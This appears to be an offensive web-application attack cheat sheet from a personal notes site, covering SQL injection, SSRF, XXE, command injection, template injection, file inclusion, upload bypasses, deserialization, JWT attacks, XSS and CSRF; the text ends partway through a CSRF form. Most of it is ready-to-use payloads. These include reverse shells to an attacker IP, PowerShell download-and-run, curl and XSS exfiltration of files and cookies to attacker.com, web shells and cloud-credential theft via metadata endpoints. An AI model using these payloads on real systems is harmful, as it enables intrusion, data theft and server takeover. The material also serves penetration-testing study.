ᛉ Yggdrasil

Web

Web Application Attacks

15 Sep 2026 · 5,285 words · 24 min

Contents

Legend: [SS] = Server-Side | [CS] = Client-Side | [ATK] = Run on attacker machine | [BLIND] = No direct output | [CRIT] = Critical severity


Server-Side

  1. Recon & Enumeration
  2. SQL Injection (SQLi)
  3. Server-Side Request Forgery (SSRF)
  4. XML External Entity (XXE)
  5. Command Injection (OS Injection)
  6. Server-Side Template Injection (SSTI)
  7. File Inclusion (LFI / RFI)
  8. File Upload Attacks
  9. Insecure Deserialization
  10. Authentication & Authorization Attacks

Client-Side

  1. Cross-Site Scripting (XSS)
  2. Cross-Site Request Forgery (CSRF)
  3. Clickjacking
  4. Open Redirect
  5. HTTP Request Smuggling

Misc

  1. IDOR & Broken Access Control
  2. API Attacks
  3. Web Shells & Post-Exploitation
  4. Tools Quick Reference
  5. Cheat Sheet

1. Recon & Enumeration

What it means: Before attacking, map every surface area of the target — directories, parameters, technologies, subdomains, and hidden endpoints. Thorough recon determines which attack classes to attempt and prevents wasted effort on non-existent vectors.


1.1 Technology Fingerprinting

# WhatWeb — identify technologies
whatweb http://target.com
whatweb -a 3 http://target.com    # aggressive mode

# Wappalyzer (browser extension — fastest)
# curl headers inspection
curl -I http://target.com

# Identify WAF
wafw00f http://target.com
nmap --script http-waf-detect -p 80,443 target.com

1.2 Directory & File Enumeration

# ffuf — fastest fuzzer
ffuf -u http://target.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
  -mc 200,204,301,302,307,401,403 \
  -c -t 100

# Common wordlists
/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
/usr/share/seclists/Discovery/Web-Content/common.txt
/usr/share/seclists/Discovery/Web-Content/big.txt
/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

# gobuster
gobuster dir -u http://target.com \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x php,asp,aspx,jsp,txt,html,bak \
  -t 50 -o gobuster.txt

# feroxbuster (recursive)
feroxbuster -u http://target.com \
  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
  -x php,asp,aspx,txt,html \
  --depth 3 -t 100

# Extension bruteforce
ffuf -u http://target.com/indexFUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt

1.3 Parameter & Input Discovery

# ffuf — parameter fuzzing (GET)
ffuf -u "http://target.com/page?FUZZ=test" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -mc 200 -fs 1234   # filter by size (default response size)

# ffuf — POST parameter fuzzing
ffuf -u "http://target.com/login" \
  -X POST \
  -d "FUZZ=test" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -mc 200

# arjun — parameter discovery
arjun -u http://target.com/api/endpoint

# paramspider — spider for parameters
python3 paramspider.py -d target.com

1.4 Subdomain Enumeration

# subfinder
subfinder -d target.com -o subdomains.txt

# amass
amass enum -passive -d target.com -o amass.txt

# ffuf — subdomain bruteforce
ffuf -u http://FUZZ.target.com \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -mc 200,301,302 \
  -H "Host: FUZZ.target.com"

# dnsx — resolve and filter
cat subdomains.txt | dnsx -silent -a -resp

1.5 Burp Suite Setup (Essential)

Proxy → Intercept → Forward all traffic through Burp
Target → Site Map → Spider the application
Scanner → Active Scan (Pro only)

Key shortcuts:
Ctrl+R → Send to Repeater
Ctrl+I → Send to Intruder
Ctrl+U → URL encode selection
Ctrl+B → Base64 encode selection
Ctrl+Z → URL decode

Intruder Attack Types:
Sniper → single position, single wordlist
Battering Ram → same payload in all positions
Pitchfork → different wordlists per position (parallel)
Cluster Bomb → all combinations (cartesian product)


2. SQL Injection (SQLi)

What it means: SQL injection occurs when user input is concatenated into a SQL query without proper sanitization. An attacker can manipulate the query to bypass authentication, extract data, write files, or execute OS commands. It remains one of the most critical and widespread web vulnerabilities.


2.1 Detection

# Manual — inject in every parameter
' 
"
`
')
"))
' OR '1'='1
' OR 1=1--
' OR 1=1#
" OR ""="
1' ORDER BY 1--
1' ORDER BY 2--
1' ORDER BY 100--   # error when number exceeds column count

# Error-based detection (MySQL)
' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--

# Time-based (blind — no visible error)
' AND SLEEP(5)--            # MySQL
'; WAITFOR DELAY '0:0:5'--  # MSSQL
' AND pg_sleep(5)--         # PostgreSQL

2.2 Error-Based SQLi

-- MySQL — extract via error message
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))--
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT database())),1)--

-- Get all databases
' AND EXTRACTVALUE(1,CONCAT(0x7e,(
  SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)))--

-- Get tables from a database
' AND EXTRACTVALUE(1,CONCAT(0x7e,(
  SELECT GROUP_CONCAT(table_name)
  FROM information_schema.tables
  WHERE table_schema='target_db')))--

-- Get columns from a table
' AND EXTRACTVALUE(1,CONCAT(0x7e,(
  SELECT GROUP_CONCAT(column_name)
  FROM information_schema.columns
  WHERE table_name='users')))--

-- Extract data
' AND EXTRACTVALUE(1,CONCAT(0x7e,(
  SELECT CONCAT(username,0x3a,password)
  FROM users LIMIT 0,1)))--

2.3 UNION-Based SQLi

-- Step 1: Find number of columns
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--   -- error here = 2 columns

-- OR:
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--   -- no error = 3 columns

-- Step 2: Find which columns display output
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--

-- Step 3: Extract data
-- Current DB
' UNION SELECT database(),NULL--

-- All databases
' UNION SELECT GROUP_CONCAT(schema_name),NULL
  FROM information_schema.schemata--

-- Tables
' UNION SELECT GROUP_CONCAT(table_name),NULL
  FROM information_schema.tables
  WHERE table_schema=database()--

-- Columns
' UNION SELECT GROUP_CONCAT(column_name),NULL
  FROM information_schema.columns
  WHERE table_name='users'--

-- Data dump
' UNION SELECT GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL
  FROM users--

2.4 Blind Boolean SQLi

-- TRUE/FALSE responses (different page content)
' AND 1=1--    # true condition
' AND 1=2--    # false condition (different response)

-- Enumerate database name char by char
' AND SUBSTRING(database(),1,1)='a'--
' AND SUBSTRING(database(),1,1)='b'--
# ...keep trying until TRUE

-- Automated via Burp Intruder or sqlmap

2.5 Time-Based Blind SQLi

-- MySQL
' AND IF(1=1, SLEEP(5), 0)--                          # always sleeps
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)--  # conditional
' AND IF(LENGTH(database())=6, SLEEP(5), 0)--

-- MSSQL
'; IF (SELECT COUNT(*) FROM users)>0 WAITFOR DELAY '0:0:5'--

-- PostgreSQL
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--

-- Oracle
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--

2.6 Out-of-Band SQLi

-- MySQL — DNS exfiltration (requires FILE privilege)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\share'))--

-- MSSQL — DNS via xp_dirtree
'; EXEC master..xp_dirtree '\\attacker.com\share'--

-- Listen on attacker
sudo responder -I eth0   # catches DNS/SMB requests
tcpdump -i eth0 udp port 53

2.7 SQLi — File Read / Write

-- MySQL — read file (requires FILE privilege)
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL--
' UNION SELECT LOAD_FILE('C:/Windows/win.ini'),NULL--

-- MySQL — write web shell
' UNION SELECT '<?php system($_GET["cmd"]); ?>', NULL
  INTO OUTFILE '/var/www/html/shell.php'--

-- MSSQL — xp_cmdshell (code execution)
'; EXEC xp_cmdshell 'whoami'--
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
'; EXEC xp_cmdshell 'powershell -enc BASE64'--

2.8 SQLMap — Automated

# Basic scan
sqlmap -u "http://target.com/page?id=1" --dbs

# POST request
sqlmap -u "http://target.com/login" \
  --data="username=admin&password=test" \
  --dbs

# From Burp request file
sqlmap -r request.txt --dbs

# Authenticated (with session cookie)
sqlmap -u "http://target.com/page?id=1" \
  --cookie="PHPSESSID=abcd1234" \
  --dbs

# Full dump
sqlmap -u "http://target.com/page?id=1" \
  -D target_db -T users --dump

# OS shell
sqlmap -u "http://target.com/page?id=1" --os-shell

# WAF bypass techniques
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment,between,randomcase \
  --dbs

# Level and risk (more aggressive)
sqlmap -u "http://target.com/page?id=1" \
  --level=5 --risk=3 \
  --dbs

# Batch mode (no prompts)
sqlmap -u "http://target.com/page?id=1" --batch --dbs

2.9 SQLi Auth Bypass

-- Login form bypass
admin'--
admin'#
' OR 1=1--
' OR '1'='1'--
admin' OR '1'='1
') OR ('1'='1
' OR 1=1 LIMIT 1--

-- Password field bypass
' OR '1'='1
anything' OR 'x'='x

3. Server-Side Request Forgery (SSRF)

What it means: SSRF forces the server to make HTTP requests on behalf of the attacker. This allows probing internal services unreachable from outside (metadata APIs, internal admin panels, cloud credentials endpoints). In cloud environments, SSRF is often critical severity because it exposes IAM credentials.


3.1 Basic SSRF

# Inject URL parameters that cause server-side HTTP fetch
# Common parameters: url=, file=, path=, src=, load=, fetch=, redirect=

# Test for SSRF
http://target.com/fetch?url=http://attacker.com/test
# Check attacker.com access logs — did you get a request?

# Use Burp Collaborator for blind SSRF detection
http://target.com/fetch?url=http://YOUR_COLLABORATOR_ID.oastify.com

# Internal network probe
http://target.com/fetch?url=http://127.0.0.1/
http://target.com/fetch?url=http://localhost/
http://target.com/fetch?url=http://192.168.1.1/
http://target.com/fetch?url=http://10.0.0.1/

3.2 Cloud Metadata Endpoints (Critical)

# AWS — IMDSv1 (no token required)
http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/
http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

# AWS — Latest user data (may contain credentials/scripts)
http://target.com/fetch?url=http://169.254.169.254/latest/user-data/

# GCP
http://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/
# Add header: Metadata-Flavor: Google
http://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure
http://target.com/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Add header: Metadata: true
http://target.com/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

3.3 SSRF Bypass Techniques

# Protocol variations
file:///etc/passwd
dict://127.0.0.1:22/
gopher://127.0.0.1:6379/_   # Redis via SSRF

# IP encoding bypasses
http://2130706433/     # 127.0.0.1 in decimal
http://0177.0.0.1/     # 127.0.0.1 in octal
http://0x7f.0x0.0x0.0x1/  # 127.0.0.1 in hex
http://0x7f000001/     # 127.0.0.1 full hex
http://127.1/          # short notation

# DNS rebinding / redirect
http://1.1.1.1.nip.io@127.0.0.1/
http://attacker.com → (redirect) → 127.0.0.1

# URL schema abuses
http://[::1]/          # IPv6 localhost
http://localhost:80@127.0.0.1/

# Open redirect chain → SSRF
http://target.com/redirect?url=http://169.254.169.254/

# Gopher for Redis SSRF (RCE)
# Write cron job / SSH key via SSRF → Redis → RCE
gopherus --exploit redis   # tool to generate gopher payloads

4. XML External Entity (XXE)

What it means: XXE occurs when an XML parser processes external entity references in user-supplied XML. An attacker can read local files, perform SSRF, or in rare cases achieve RCE. It typically affects SOAP endpoints, XML file uploads, and any feature that parses XML input.


4.1 Basic XXE — File Read

<!-- Inject into any XML input / file upload -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

<!-- Windows -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root>&xxe;</root>

4.2 Blind XXE — Out-of-Band Exfiltration

<!-- When output is not reflected — use OOB DNS/HTTP to exfiltrate -->

<!-- Step 1: Host a malicious DTD on attacker server -->
<!-- attacker.com/evil.dtd: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM
  'http://attacker.com/?data=%file;'>">
%exfil;
%send;

<!-- Step 2: Reference the DTD in the XXE payload -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
  %remote;
]>
<root/>

4.3 XXE via File Upload

# SVG file upload → XXE
# Upload an SVG containing XXE payload
cat > evil.svg << 'EOF'
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
EOF

# DOCX/XLSX — unzip, inject into word/document.xml or xl/workbook.xml
unzip document.docx -d docx_content
# Edit word/document.xml and add XXE entity
zip -r evil.docx docx_content/

4.4 XXE SSRF

<!-- Use XXE to perform internal SSRF -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&ssrf;</root>

<!-- Internal port scan via XXE -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://192.168.1.1:8080/">
]>
<root>&xxe;</root>

5. Command Injection (OS Injection)

What it means: Command injection occurs when user input is passed unsanitized to a system shell command. The attacker appends additional OS commands using shell metacharacters. This gives direct OS-level code execution on the server — instant critical severity.


5.1 Detection

# Shell metacharacters to inject
;
|
||
&
&&
`command`
$(command)
\n (newline)
%0a (URL-encoded newline)

# Test payloads
; whoami
| whoami
& whoami
&& whoami
`whoami`
$(whoami)
; sleep 5      # blind — time-based detection
| sleep 5
$(sleep 5)

5.2 Exploitation

# Linux reverse shell via command injection
; bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'
; bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
| nc -e /bin/sh <ATTACKER_IP> 4444
$(nc.traditional -e /bin/bash <ATTACKER_IP> 4444)
; python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("<IP>",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

# Windows reverse shell
& powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER>/shell.ps1')"
& cmd /c "C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"

# Read file via blind injection (time-based char extraction)
; if [ $(cut -c1 /etc/passwd) = r ]; then sleep 5; fi

# Exfiltrate via DNS (blind)
; nslookup $(whoami).attacker.com
; curl http://attacker.com/$(cat /etc/passwd | base64)

5.3 WAF Bypass for Command Injection

# Space bypass
{cat,/etc/passwd}
cat</etc/passwd
$IFS   # Internal Field Separator (space alternative)
cat${IFS}/etc/passwd

# String concatenation
c''at /etc/passwd
c"a"t /etc/passwd

# Encoding
$(echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash)

# Newline bypass
%0a whoami

6. Server-Side Template Injection (SSTI)

What it means: SSTI occurs when user input is embedded directly into a server-side template that is then evaluated. Template engines (Jinja2, Twig, Freemarker, Smarty, etc.) provide access to powerful objects and functions — SSTI often leads directly to RCE through the template engine's native sandbox.


6.1 Detection & Fingerprinting

Inject math expressions — if evaluated, SSTI exists

{{77}} → 49 (Jinja2/Twig)
${7
7} → 49 (Freemarker/EL)
<%= 7*7%> → 49 (ERB)

{7*7} → 49 (Ruby)

_{7_7} → 49 (Spring)

Fingerprint the engine

{{7*'7'}} → 7777777 = Jinja2
→ 49 = Twig

{ 7 * 7 } → Thymeleaf

${"freemarker.template.utility.Execute"?new()("id")} → Freemarker

6.2 Jinja2 (Python — Flask/Django)

# Basic RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Via __class__ chain
{{''.__class__.__mro__.__subclasses__()}}   # list all classes[1]
# Find index of subprocess.Popen or os._wrap_close

# RCE via subprocess.Popen (find index with loop)
{{''.__class__.__mro__.__subclasses__()('id',shell=True,stdout=-1).communicate()}}[1]

# Simpler (if config is accessible)
{{config.__class__.__init__.__globals__['os'].system('id')}}

# Reverse shell
{{config.__class__.__init__.__globals__['os'].popen(
  'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1').read()}}

# Bypass _ filter
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

6.3 Twig (PHP — Symfony)

// Basic RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

// Via system
{{['id']|filter('system')}}
{{['bash -c "bash -i >& /dev/tcp/<IP>/4444 0>&1"']|filter('system')}}

6.4 Freemarker (Java)

// RCE
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().forName("java.lang.Runtime").getMethod("exec","".class).invoke(product.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

6.5 ERB (Ruby — Rails)

<%= system("id") %>
<%= `id` %>
<%= IO.popen('id').read %>

7. File Inclusion (LFI / RFI)

What it means: LFI (Local File Inclusion) allows reading/executing local server files by manipulating file path parameters. RFI (Remote File Inclusion) loads files from external URLs. LFI can escalate to RCE via log poisoning, /proc/self/fd, PHP session files, or phpinfo() tricks.


7.1 LFI Detection & Basic Read

# Common parameters
?page=
?file=
?include=
?path=
?view=
?template=
?doc=

# Basic LFI
?page=../../../../etc/passwd
?page=../../../../etc/shadow
?page=../../../../windows/win.ini
?page=../../../../windows/system32/drivers/etc/hosts

# Null byte bypass (older PHP < 5.3.4)
?page=../../../../etc/passwd%00
?page=../../../../etc/passwd\x00

# Double encoding
?page=..%252f..%252f..%252fetc/passwd

# Path truncation
?page=../../../../etc/passwd.......................

# Interesting files (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/etc/crontab
/proc/self/environ    # may contain HTTP headers → log poison
/proc/self/cmdline
/var/log/apache2/access.log   # log poisoning
/var/log/nginx/access.log
/var/log/auth.log
/tmp/sess_<PHPSESSID>   # PHP session file

7.2 LFI → RCE via Log Poisoning

# Step 1: Poison the log by sending malicious User-Agent
curl -s "http://target.com/" \
  -A "<?php system(\$_GET['cmd']); ?>"
# The PHP code is now written into /var/log/apache2/access.log

# Step 2: Include the log via LFI and trigger the PHP code
curl "http://target.com/?page=../../../var/log/apache2/access.log&cmd=id"

# Also works with:
# /var/log/nginx/access.log
# /var/log/auth.log  (poison via SSH login: ssh '<?php system($_GET["cmd"]); ?>'@target.com)
# /proc/self/environ (poison via HTTP_USER_AGENT header)

7.3 LFI → RCE via PHP Session

# Step 1: Set a PHP session value containing PHP code
curl "http://target.com/?page=test" \
  --cookie "PHPSESSID=attacker123" \
  -d "username=<?php system(\$_GET['cmd']); ?>"
# Session file: /tmp/sess_attacker123 OR /var/lib/php/sessions/

# Step 2: Include session file
curl "http://target.com/?page=../../tmp/sess_attacker123&cmd=id"

7.4 PHP Wrappers

# Read PHP source code (base64 encoded)
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://filter/read=string.rot13/resource=config.php

# Decode the output
echo "BASE64_OUTPUT" | base64 -d

# Execute via data wrapper (if allow_url_include = on)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
# = <?php system($_GET['cmd']); ?>

# expect wrapper (if enabled)
?page=expect://id

7.5 RFI

# Remote File Inclusion (requires allow_url_include = on — rare in modern PHP)
?page=http://attacker.com/shell.php
?page=\\attacker.com\share\shell.php  # UNC path (Windows)

# Host a PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python3 -m http.server 8080

# Include it
?page=http://<ATTACKER_IP>:8080/shell.php&cmd=id

8. File Upload Attacks

What it means: File upload functionality is a prime target when the server doesn't properly validate file type, extension, or content. Uploading a web shell grants direct code execution. Even if the upload endpoint is restricted, there are multiple bypass techniques for extension blacklists, content-type checks, and magic byte validation.


8.1 Basic Web Shell Upload

<!-- PHP web shell -->
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['e']); ?>
<?php passthru($_REQUEST['cmd']); ?>

<!-- PHP one-liner with eval -->
<?php eval(base64_decode('BASE64_ENCODED_PAYLOAD')); ?>

<!-- ASPX web shell -->
<%@ Page Language="C#" %>
<% System.Diagnostics.Process.Start("cmd.exe","/c "+Request["cmd"]); %>

<!-- JSP web shell -->
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

8.2 Extension Bypass Techniques

# Alternative PHP extensions (server may execute these)
.php3 .php4 .php5 .php7 .php8
.pht .phtml .shtml
.phar

# Case variation
.PhP .PHP .pHp

# Double extension (if blacklist strips .php)
shell.php.jpg
shell.jpg.php

# Null byte (older servers)
shell.php%00.jpg
shell.php\x00.jpg

# NTFS alternate data stream (Windows)
shell.php::$DATA
shell.php:.jpg

# Special characters
shell.php.
shell.php/
shell.php%20

8.3 Content-Type Bypass

# Change Content-Type header in Burp to an allowed type
# Original (blocked):
Content-Type: application/x-php

# Bypass (accepted):
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif

8.4 Magic Bytes Bypass

# Add valid image magic bytes before PHP code
# GIF magic bytes: GIF89a
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php.gif

# PNG magic bytes
printf '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > shell.png

# JPEG magic bytes
printf '\xff\xd8\xff<?php system($_GET["cmd"]); ?>' > shell.jpg

# In Burp — add magic bytes at start of request body

8.5 SVG Web Shell (XSS + SSRF)

<!-- SVG with XSS -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
  <rect width="300" height="100"/>
</svg>

<!-- SVG with XXE (triggers when server processes SVG) -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

9. Insecure Deserialization

What it means: Deserialization vulnerabilities occur when applications deserialize untrusted user-supplied data without validation. The deserialization process itself can trigger code execution by manipulating "magic methods" (PHP __wakeup, Java readObject, Python __reduce__). This leads to RCE in most exploitation scenarios.


9.1 PHP Object Injection

// Vulnerable code:
$data = unserialize($_COOKIE['user']);

// Serialized PHP object:
O:4:"User":2:{s:4:"name";s:5:"admin";s:5:"admin";b:1;}
// O = object, 4 = class name length, "User" = class, 2 = property count

// If the class has __wakeup or __destruct with dangerous operations:
// class FileManager { public $filename; function __destruct() { unlink($this->filename); }}
// → inject: O:11:"FileManager":1:{s:8:"filename";s:20:"/var/www/html/index.php";}

// Tools:
phpggc   # PHP gadget chains
phpggc -l  # list available gadgets
phpggc Laravel/RCE1 system 'id'   # generate exploit payload

9.2 Java Deserialization

# ysoserial — Java deserialization payload generator
# https://github.com/frohoff/ysoserial

# Generate payload
java -jar ysoserial.jar CommonsCollections6 'id' > payload.bin
java -jar ysoserial.jar CommonsCollections6 'bash -i >& /dev/tcp/<IP>/4444 0>&1' > rce.bin

# Available gadget chains:
# CommonsCollections1-7, Spring1-2, Groovy1-2, JRMPClient, etc.

# Send payload
curl -X POST http://target.com/api/endpoint \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.bin

# Via ViewState (.NET WebForms)
# ysoserial.net for .NET ViewState exploitation
ysoserial.exe -g TextFormattingRunProperties \
  -f LosFormatter -c "whoami > C:\inetpub\wwwroot\test.txt"

9.3 Python Pickle Deserialization

# Vulnerable code: pickle.loads(user_data)

import pickle, os, base64

class RCE:
    def __reduce__(self):
        return (os.system, ('bash -i >& /dev/tcp/<IP>/4444 0>&1',))

payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)
# Send as cookie/parameter to the vulnerable endpoint

10. Authentication & Authorization Attacks

What it means: Weak authentication mechanisms allow attackers to bypass login, escalate privileges, or impersonate other users. These include JWT attacks, password reset flaws, OAuth misconfigurations, and 2FA bypasses.


10.1 JWT Attacks

# Decode JWT (base64)
echo "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIn0.XXXXX" | \
  cut -d. -f1,2 | tr '.' '\n' | base64 -d 2>/dev/null

# Attack 1: Algorithm confusion — change HS256 to none
# Header: {"alg":"none","typ":"JWT"}
# Remove signature
python3 -c "
import base64, json
header  = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({'sub':'admin','role':'admin'}).encode()).rstrip(b'=')
print(f'{header.decode()}.{payload.decode()}.')
"

# Attack 2: HS256 with weak secret — brute force
hashcat -a 0 -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt

# Attack 3: RS256 → HS256 confusion (public key used as HMAC secret)
# Get the public key, sign with it as HS256 secret
python3 jwt_tool.py TOKEN -X k -pk public.pem

# jwt_tool — Swiss army knife for JWT attacks
# https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py TOKEN             # decode
python3 jwt_tool.py TOKEN -T          # tamper (interactive)
python3 jwt_tool.py TOKEN -X a        # alg:none attack
python3 jwt_tool.py TOKEN -X n        # null signature
python3 jwt_tool.py TOKEN -C -d rockyou.txt  # crack secret

10.2 Password Reset Attacks

# 1. Host header injection in reset link
# Modify Host: header to attacker.com → reset link sent to attacker domain
Host: attacker.com
# Password reset email contains: http://attacker.com/reset?token=XXXXX

# 2. Token predictability — check if token is:
# - MD5/SHA1 of username+timestamp
# - Sequential integer
# - Short (brute forceable)

# 3. Response manipulation — if server returns "invalid token" in JSON,
# change response to success in Burp: {"status":"invalid"} → {"status":"success"}

# 4. Token reuse — check if old tokens remain valid after use

# 5. No rate limiting — brute force 4/6 digit token
ffuf -u "http://target.com/reset?token=FUZZ" \
  -w <(seq -f "%04g" 0 9999) \
  -mc 302 -c

11. Cross-Site Scripting (XSS)

What it means: XSS injects malicious JavaScript into pages viewed by other users. Reflected XSS runs immediately when a victim clicks a crafted link. Stored XSS persists in the database and fires for every user who views the page. DOM XSS manipulates the DOM client-side. XSS leads to session theft, account takeover, keylogging, and phishing.


11.1 Basic Payloads

// Basic alert (proof of concept)
<script>alert(1)</script>
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<input autofocus onfocus=alert(1)>

// Event handlers
<img src=x onerror="alert(document.domain)">
<div onmouseover="alert(1)">hover me</div>
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>

11.2 Filter Bypass Payloads

// Case variation
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>

// Encoding
<script>alert&#40;1&#41;</script>    // HTML entities
<script>alert\u0028\u00291\u0029</script>  // Unicode
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

// No parentheses
<script>throw/a/,Uncaught=1</script>
<img src=x onerror="window.onerror=eval;throw'=alert(1)'">

// No spaces
<script>alert(1)</script>
<script/x>alert(1)</script>
<svg/onload=alert(1)>

// Tag bypass
<scr<script>ipt>alert(1)</scr</script>ipt>
<<script>alert(1)//<</script>

// JavaScript protocol
<a href="javascript:alert(1)">click</a>
// Send cookies to attacker server
<script>
  document.location='http://attacker.com/steal?c='+document.cookie
</script>

<img src=x onerror="fetch('http://attacker.com/steal?c='+document.cookie)">

// XSS with BeEF hook
<script src="http://attacker.com:3000/hook.js"></script>

11.4 Stored XSS — Key Fields

# Common stored XSS injection points:
# - Profile name, bio, username
# - Comment/review/message fields
# - File names (if displayed)
# - HTTP headers logged and displayed (User-Agent, Referer)
# - Search history, saved searches

# Admin panel hunting — inject in fields visible only to admins
# If admin views the stored XSS, you steal admin session

11.5 DOM-Based XSS

// DOM sources (user-controllable data entering the DOM)
document.URL
document.location
document.referrer
window.name
document.cookie

// DOM sinks (dangerous functions that process the data)
document.write()
innerHTML
eval()
setTimeout()
setInterval()
location.href

// Example vulnerable code:
// var data = document.location.hash.substring(1);
// document.write(data);
// Exploit: http://target.com/page#<img src=x onerror=alert(1)>

11.6 XSS → Account Takeover

// Step 1: XSS triggers in admin context
// Step 2: Steal admin CSRF token for account takeover
<script>
fetch('/api/change-email', {
  method: 'POST',
  headers: {'Content-Type':'application/json',
            'X-CSRF-Token': document.querySelector('[name=csrf_token]').value},
  body: JSON.stringify({email:'attacker@evil.com'})
});
</script>

// Step 3: Change password via API call within XSS
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/account/change-password', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('new_password=hacked&confirm=hacked');
</script>

12. Cross-Site Request Forgery (CSRF)

What it means: CSRF tricks an authenticated user's browser into making unwanted requests to a site where they're logged in. Since the browser automatically attaches session cookies, the server thinks the request is legitimate. It affects state-changing actions (password change, fund transfer, account deletion) without CSRF token protection.


12.1 Basic CSRF PoC

<!-- Host on attacker site, send link to victim -->
<!-- GET-based CSRF -->
<img src="http://target.com/account/delete?confirm=yes">

<!-- POST-based CSRF — auto-submit form -->
<html>
<body onload="document.csrf.submit()">
  <form name="csrf" action="http://target.com/account/change-email"
        method="POST">
